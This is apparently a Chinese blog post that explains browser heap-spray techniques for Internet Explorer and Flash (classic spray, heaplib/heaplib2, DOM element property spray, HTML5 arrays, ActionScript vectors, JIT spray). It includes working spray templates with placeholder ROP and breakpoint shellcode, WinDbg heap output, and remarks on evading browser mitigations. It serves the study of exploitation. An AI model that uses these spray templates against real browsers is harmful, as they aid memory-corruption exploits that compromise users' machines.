探究堆喷射(heap spray)
博客园的自动保存系统真心不咋地,写的差不多的文章蓝屏之后就没有了,醉了!
浏览器是互联网世界最主要的软件之一,从IE6到IE11安全攻防在不断升级,防御措施的实施促使堆喷射技巧不断变化。写这篇博文想好好整理并实践一下这些年的堆喷射技巧。
文章主要参考《灰帽黑客》,近几年的安全大会的一些演说,一些安全团队的blog,当然由于水平有限,如有错误,欢迎指教。
1.Windows XP下的IE6和IE7的堆喷射都是老生常谈了,最直接继承了Skylined的思想,直接放代码:
- <html>
- <script >
- var shellcode = unescape('%u4141%u4141');
- var bigblock = unescape('%u9090%u9090');
- var headersize = 20;
- var slackspace = headersize + shellcode.length;
- while (bigblock.length < slackspace)
- bigblock += bigblock;
- var fillblock = bigblock.substring(0,slackspace);
- var block = bigblock.substring(0,bigblock.length - slackspace);
- while (block.length + slackspace < 0x40000)
- block = block + block + fillblock;
- var memory = new Array();
- for (i = 0; i < 500; i++)
- {
- memory[i] = block + shellcode
- }
- </script>
- </html>
这种堆喷射的关键在于使堆分配的分配的空间大小和它需要存储的数据的大小尽量接近,直接用windbg看一下用上面代码产生的效果如何。
其中,通过运行!heap –stat查看内存堆块信息,通过运行!heap –stat –h可以查看所有堆的同类信息,通过运行!heap -flt s来指出所有指定大小的堆块的信息。
- 0:009> !heap -stat
- _HEAP 00140000
- Segments 00000002
- Reserved bytes 00200000
- Committed bytes 0009f000
- VirtAllocBlocks 00000001
- VirtAlloc bytes 021b0000
- _HEAP 00910000
- Segments 00000001
- Reserved bytes 00100000
- Committed bytes 00100000
- VirtAllocBlocks 00000000
- VirtAlloc bytes 00000000
- .......
- :> !heap -stat -h
- heap @
- group-by: TOTSIZE max-display:
- size #blocks total ( %) (percent of total busy bytes)
- 7ffe0 1f5 - fa7c160 (99.78)
- - (0.01)
- 7fe0 - 7fe0 (0.01)
- 7fb0 - 7fb0 (0.01)
- 56f8 - 56f8 (0.01)
- 52ac - 52ac (0.01)
- .....
- :> !heap -flt s 7ffe0
- _HEAP @
- HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
- fffc [0b] 7ffe0 - (busy VirtualAlloc)
- 021b0018 fffc fffc [0b] 021b0020 7ffe0 - (busy VirtualAlloc)
- 022b0018 fffc fffc [0b] 022b0020 7ffe0 - (busy VirtualAlloc)
- fffc fffc [0b] 7ffe0 - (busy VirtualAlloc)
- 023b0018 fffc fffc [0b] 023b0020 7ffe0 - (busy VirtualAlloc)
- ...
效果很好,当然这种手段只能用于IE6,IE7。
2.heaplib,libheap2以及它的精准喷射技术。
heaplib是一个js关于内存分配的库,主要用OLEAUT32.DLL中的SysAllocString()和SysFreeString()对系统内存进行精确分配,并进行封装。这是由Alex Sotirow创建的,可成功在IE8进行喷射,关于SysAllocString()函数,并不是每次调用SysAllocString函数,都会在堆中新分配一个内存空间供string对象使用的。所需空间分配和释放的具体工作是有OLEAUT32中的APP_DATA类实现的,在这个类中使用了一个很普通的内存分配算法:
一个类似于系统的堆内存分配函数(如HeapAlloc函数)使用的Lookaside list的缓存,被释放的内存满足一定条件时会被释放到这个缓存中。
当应用程序调用APP_DATA::AllocCachedMem()函数时,它首先会检查缓存中相应的项中的6个内存块,从中找出最符合要求内存块,然后把这个内存块从缓存中释放出来,把它直接返回给应用程序。如果没有找到合适的内存块,它就会调用HeapAlloc()函数从堆中发配新的内存空间。
在这种情况下,由于缓存内存的不确定性,会导致内存分配不能对齐。所以为了确保不重用堆缓存,可以直接分配6个块,每个块都是箱中允许的最大大小,不剩下任何可用的缓存块,代码如下:
- //heapspary
plunger = new Array();- function flushCache() {
- plunger = null;
- CollectGarbage();
- plunger = new Array();
- for (i = 0; i < 6; i++) {
- plunger.push(alloc(32));
- plunger.push(alloc(64));
- plunger.push(alloc(256));
- plunger.push(alloc(32768));
- }
- }
- flushCache();
- alloc_str(0x200);
- free_str();
flushCache();
SysFreeString()函数,实际在内部调用的是CollectGarbage()函数,调用这个函数我们就能立即强制垃圾处理机制。heaplib库的应用范围十分广泛,本文只会专注于堆喷射领域,下面,看一下堆喷射代码:
- <!DOCTYPE html>
- <html>
- <head>
- <script type="text/javascript" src="heaplib.js"></script>
- </head>
- <body>
- <script type="text/javascript">
- var heap_obj = new heapLib.ie(0x10000);
- var code = unescape("%ucccc");
- while(code.length<400) code += code;
- code = code.substring(0,400);
- var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
- var pad = unescape("%u9090%u9090");
- while (pad.length < 0x1000) pad += pad;
- offset_length = 0x5F6;
- junk_offset = pad.substring(0, offset_length);
- var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
- while (shellcode.length < 0x40000) shellcode += shellcode;
- var block = shellcode.substring(2, 0x40000 - 0x21);
- for (var i=0; i < 500; i++) {
- heap_obj.alloc(block);
- }
- alert("HeapLib done");
- </script>
- </body>
- </html>
Heaplib2库与Heaplib库最大的不同是使用了随机生成的DOM特性,在堆中分配负载。这样也绕过了一些浏览器的安全机制。可以在IE9~IE11成功喷射。
- //heapSpray2
<!--Slighly modified and based on Chris Valasek script -->- <!DOCTYPE html>
- <html>
- <head>
- <script type="text/javascript" src="heapLib2.js"></script>
- </head>
- <body>
- <h1 id="wonk" data-wonk="wonky">honk</h1>
- <script type="text/javascript">
- var obj = document.getElementById("wonk");
- //Create a heapLib2 object for Internet Explorer
- var heap = new heapLib2.ie(obj, 0x80000);
- var code = unescape("%ucccc");
- while(code.length<400) code += code;
- code = code.substring(0,400);
- var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848");
- var pad = unescape("%u9090%u9090");
- while (pad.length < 0x1000) pad += pad;
- offset_length = 0x5F6;
- junk_offset = pad.substring(0, offset_length);
- var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
- while (shellcode.length < 0x40000) shellcode += shellcode;
- var block = shellcode.substring(2, 0x40000 - 0x21);
- for (var i = 0; i < 0x500; i++){
- //this will bypass the cache allocator
- heap.sprayalloc("big_attr"+i, block);
- }
- heap.free("big_attr0");
- alert("HeapLib2 done");
- </script>
- </body>
- </html>
由于DEP的实施,不能直接跳到nop进行执行,需要先进行ROP是的shellcode得到执行,所以我们需要预测rop链的准确位置,由于内存分配是对齐的,这意味着如果我们用正确的大小的块,和正确的大小的喷射块,我们将确保每个喷射块开始,将在可预见的地址定位。再通过简单的计算,可以实现准确喷射。
3.DEPS技术(DOM Element Property Spray) Corelan Team在2013年在博客上发的一篇文章简绍了这种技术。这项技术的思想是创建大量的DOM元素,设置一个元素属性为特殊值,也可以混合使用各种元素。
此外,DOM元素完成精确分配不是新技术。但我没看到基于这个概念的堆喷射。总之,DEPS技术基于以下四步:
>在页面放置一个div元素
>新建大量的任意元素
>用payload设置title属性,用substring()确保需要的长度
>增加这个到div
- //喷射地址为0x20302228
<html>- <head></head>
- <body>
- <div id='blah'></div>
- <script language='javascript'>
- var div_container = document.getElementById('blah');
- div_container.style.cssText = "display:none";
- var data;
- offset = 0x104;
- junk = unescape("%u2020%u2020");
- while(junk.length < 0x1000) junk+=junk;
- rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
- shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
- data = junk.substring(0,offset) + rop + shellcode;
- data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800
- while(data.length < 0x80000) data += data;
- for (var i=0; i < 0x250; i++)
- {
- var obj = document.createElement("spray");
- obj.title = data.substring(0,0x40000-0x58);
- obj.style.fontFamily = data.substring(0,0x40000-0x58);
- div_container.appendChild(obj);
- }
- alert("spray done");
- </script>
- </body>
- </html>
而且,这个技术并需要添加随机数据来保证不被防御措施发现,这也是这个技术一个优势所在。
4.HTML5 Spray,
HTML5的出现给浏览器提供更好的视频和音频体验,而不需要依赖外部插件,但是,一个新功能产生的同时,也会带来潜藏的攻击面,关于攻击面的描写,可以参照博客另一篇文章(关于Andorid攻击面)Core Security的Federico Muttis和Anibal Sacco在2012发表了关于使用HTML5进行堆喷射的研究。在其中,可以通过操作包括cancas在内的Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray等元素来字节级加载负载。方然,直接使用这种方法速度过慢,容易被发现浏览器存在问题,更推荐使用WebWorker创建线程加快喷射。由于个人更喜爱DEPS,所以略写,当然经过测试,可以绕过IE11的防御机制,代码会放在文末的压缩包里面。
5.使用ActionScript进行喷射
ActionScript是Flash的原因。这并不是什么新的技术,虽然使用的ActionScript和Javascript不同,但是喷射原理基本一致,这里着重讲一下使用数组向量的Flash喷射:代码如下
- //喷射地址为1a1b2000
- package
- {
- import flash.media.*;
- import flash.display.Sprite;
- public class VecSpray extends Sprite
- {
- public var s:__AS3__.vec.Vector.<Object>;
- public function VecSpray()
- {
- super();
- this.s = new Vector.<Object>(98688);
- var loc1:*=0;
- while (loc1 < 98688)
- {
- this.s[loc1] = new Vector.<uint>(4096 / 4 - 2);//0x3FE
- this.s[loc1][0] = 0xDEADBEE1;
- this.s[loc1][(16 - 8) / 4] = 0x1a1b2000; //[2]
- this.s[loc1][(20 - 8) / 4] = 0x1a1b2000; //[3]
- this.s[loc1][(752 - 8) / 4] = 0x41414141; //[186]
- this.s[loc1][(448 - 8) / 4] = 0; //[110]
- ++loc1;
- }
- return;
- }
- }
- }
这里通过对98688和3FE对地址进行控制。同时还可以帮助绕过ROP+ALSR。
6.JIT Spray技术
JIT喷射”技术是在 2010年首次被提出来的。其基本思想是利用高级脚本语言中的常量数字在可预测的地址上产生想要的JIT指令片段。随着JIT喷射作为一种可靠的漏洞利用技术逐渐流行起来,软件厂商开始着手重新设计它们的JIT引擎。此后,一系列缓解措施被采用来防止JIT喷射,比如随机化JIT代码页的分配及变换JIT代码生成。这导致JIT基本已经退出了历史的舞台,但是作为一种思路可以学习一下,这里就略去了,可以根据压缩包里资料自主学习。
探究堆喷射(heap spray)的更多相关文章
- OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray
Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
- Heap Spray原理
Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...
- Heap Spray原理浅析
Heap Spray定义基本描述 Heap Spray并没有一个官方的正式定义,毕竟这是漏洞攻击技术的一部分.但是我们可以根据它的特点自己来简单总结一下.Heap Spray是在shellcode的前 ...
- [数据结构]——堆(Heap)、堆排序和TopK
堆(heap),是一种特殊的数据结构.之所以特殊,因为堆的形象化是一个棵完全二叉树,并且满足任意节点始终不大于(或者不小于)左右子节点(有别于二叉搜索树Binary Search Tree).其中,前 ...
- Java的堆(Heap)和栈(Stack)的区别
Java中的堆(Heap)是一个运行时数据区,用来存放类的对象:栈(Stack)主要存放基本的数据类型(int.char.double等8种基本数据类型)和对象句柄. 例1 int a=5; int ...
- 纸上谈兵:堆(heap)
作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 堆(heap)又被为优先队列(priority queue).尽管名为优先队列,但 ...
- 堆(Heap)和二叉堆(Binary heap)
堆(Heap) The operations commonly performed with a heap are: create-heap: create an empty heap heapify ...
- Java 堆内存(Heap)[转]
将jvm内存很不错的文章,转自 堆(Heap)又被称为:优先队列(Priority Queue),是计算机科学中一类特殊的数据结构的统称.堆通常是一个可以被看做一棵树的数组对象.在队列中,调度程序反复 ...
随机推荐
- JFinal 添加Druid插件
第一步:添加依赖 <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</a ...
- linux备忘录-档案与文件系统的压缩与打包
知识点 文件扩展名与压缩解压缩工具 .Z -> compress程序压缩的档案 .gz -> gzip程序压缩的档案 .bz2 -> bzip2程序压缩的档案 .tar -> ...
- java语言基础第二讲 课程作业02 总结
一.编程的好习惯 1.注释习惯.单行注释://, 多行注释:/* */ . 2.程序中添加适当的空白:4个空格. 3.文件名必须与公有类名一致,即public class 类名. 4.java中 ...
- POJ A-Wireless Network
http://poj.org/problem?id=2236 An earthquake takes place in Southeast Asia. The ACM (Asia Cooperated ...
- 【bzoj2500】幸福的道路 树形dp+倍增RMQ+二分
原文地址:http://www.cnblogs.com/GXZlegend/p/6825389.html 题目描述 小T与小L终于决定走在一起,他们不想浪费在一起的每一分每一秒,所以他们决定每天早上一 ...
- easyui中datagrid空数据集不刷新的解决方式
datagrid空间可以异步请求json数据,并将新数据覆盖原有数据,重绘数据表. 但是当回来空数据集的时候,js会产生这样一条错误: TypeError: rows is null for(var ...
- flutter channel master
flutter可能是未来跨平台开发的又一技术框架,那么对于一个app,我们不可能完全用flutter来开发,那么就意味着我们需要在已有的Android和iOS代码中去集成flutter.目前这一技术还 ...
- 方伯伯的OJ ( onlinejudge )
方伯伯的OJ 题目描述 方伯伯正在做他的OJ.现在他在处理OJ 上的用户排名问题. OJ 上注册了n 个用户,编号为1 ∼ n,一开始他们按照编号排名.方伯伯会按照心情对这些用户做以下四种操作,修改用 ...
- 【BZOJ 2809 dispatching】
Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 4393 Solved: 2246[Submit][Status][Discuss] Descript ...
- 【CZY选讲·逆序对】
题目描述 LYK最近在研究逆序对. 这个问题是这样的. 一开始LYK有一个2^n长度的数组ai. LYK有Q次操作,每次操作都有一个参数k.表示每连续2^k长度作为一个小组.假设 n=4,k= ...